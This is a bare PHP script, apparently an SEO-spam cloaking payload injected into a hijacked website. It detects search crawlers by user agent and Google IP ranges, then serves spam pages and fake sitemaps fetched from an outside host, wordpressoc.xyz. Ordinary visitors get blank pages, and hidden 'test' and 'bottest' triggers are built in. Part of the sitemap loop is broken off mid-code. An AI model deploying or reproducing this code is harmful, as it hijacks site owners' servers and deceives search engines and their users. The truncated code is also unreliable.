error_reporting(0);
$isIp = false;
$ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.255.255') , array('66.249.0.0' , '66.249.255.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') , array('216.172.128.0' , '216.239.159.255') , array('64.68.80.0' , '64.68.95.255'), array('205.164.0.0' , '205.164.63.255') , array('50.117.0.0' , '50.117.127.255') , array('23.104.0.0' , '23.104.255.255') , array('23.80.0.0' , '23.80.255.255') , array('104.132.0.0' , '104.132.255.255') , array('104.134.0.0' , '104.134.255.255') , array('104.135.0.0' , '104.135.255.255') , array('38.99.82.0' , '38.99.251.255') );
$localIp = get_ip();
$isIp = is_ip($localIp,$ipRanges);
$isbot = isCrawler();
if ($isbot && isset($_GET['action']) && $_GET['action']=='test'){
echo "test ok";
exit;
}
if (preg_match("#(.jpg|.jpeg|.png|.gif|.css|.js|.pdf|.ico)#si", $_SERVER["REQUEST_URI"])){
header("HTTP/1.1 404 Not Found");
header("Status: 404 Not Found");
exit;
}
if (stristr($_SERVER["REQUEST_URI"],"sitemap.xml") || stristr($_SERVER["REQUEST_URI"],"sitemap_1.xml")){
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$date = getcontent("http://www.wordpressoc.xyz/page50-32345/sitemap.txt");
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL;
$mapEnd = PHP_EOL . '';
$n = 5;
$datas = explode("\r\n", $date);
if (count($datas)<=1){
$datas = explode("\n", $date);
}
$datas[0] = substr($datas[0],3);
$suffixs = explode("|", $datas[0]);
$avg = (int)(50000/(count($datas)-1)/count($suffixs));
$mapMid = "";
for($i=1;$i
". $date . "T" . $time ."-05:00
daily
0.1
";
}
}
}
header("Content-type: text/xml");
echo $mapPre.$mapMid .$mapEnd;exit;
}
if(($isbot && $isIp) || (isset($_GET['action']) && $_GET['action']=='bottest')){
$content = getcontent("http://www.wordpressoc.xyz/page50-32345/page_desc.php?".$_SERVER['HTTP_HOST']."|".str_replace("?action=bottest","",$_SERVER["REQUEST_URI"]));
echo $content;
exit;
}
if (!$isIp && preg_match("#(google.co.jp|yahoo.co.jp|docomo.ne.jp)#si", $_SERVER["HTTP_REFERER"])){
echo "";
exit;
}
function getcontent($url){
if ($url=="") return "";
if(function_exists('curl_init')){
$con = curl_init((string)$url);
curl_setopt($con, CURLOPT_HEADER, false);
curl_setopt($con, CURLOPT_RETURNTRANSFER,true);
curl_setopt($con, CURLOPT_TIMEOUT, 120);
$result = curl_exec($con);
curl_close($con);
}else{
$result = file_get_contents($url);
}
return $result;
}
function get_ip($type = 0) {
$type = $type ? 1 : 0;
static $ip = NULL;
if ($ip !== NULL) return $ip[$type];
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$pos = array_search('unknown',$arr);
if(false !== $pos) unset($arr[$pos]);
$ip = trim($arr[0]);
}elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
$long = sprintf("%u",ip2long($ip));
$ip = $long ? array($ip, $long) : array('0.0.0.0', 0);
return $ip[$type];
}
function is_ip($localIp,$ipRanges)
{
$localIp = ip2long($localIp);
foreach($ipRanges as $val)
{
$ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
if($localIp >= $ipmin && $localIp <= $ipmax)
{
return true;
}
}
return false;
}
function isCrawler() {
$agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
$spiderSite= array(
"Googlebot",
"Mediapartners-Google",
"Adsbot-Google",
"Yahoo!",
"Google AdSense",
"Yahoo Slurp",
"bingbot",
"MSNBot"
); foreach($spiderSite as $val) {
$str = strtolower($val); if (strpos($agent, $str) !== false) {
return true; }
}
} else {
return false; }
}
function U($cid,$pid,$suffix){
$href = str_replace("{c}", $cid, $suffix);
$href = str_replace("{0}", $pid, $href);
$hrefs = str_split($href);
$char_array=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
$num_array = array('0','1','2','3','4','5','6','7','8','9');
$newhref = "";
foreach ($hrefs as $h){
if ($h=='$') $newhref .= $char_array[array_rand($char_array)];
elseif ($h=='#') $newhref .= $num_array[array_rand($num_array)];
else $newhref .=$h;
}
return $newhref;
}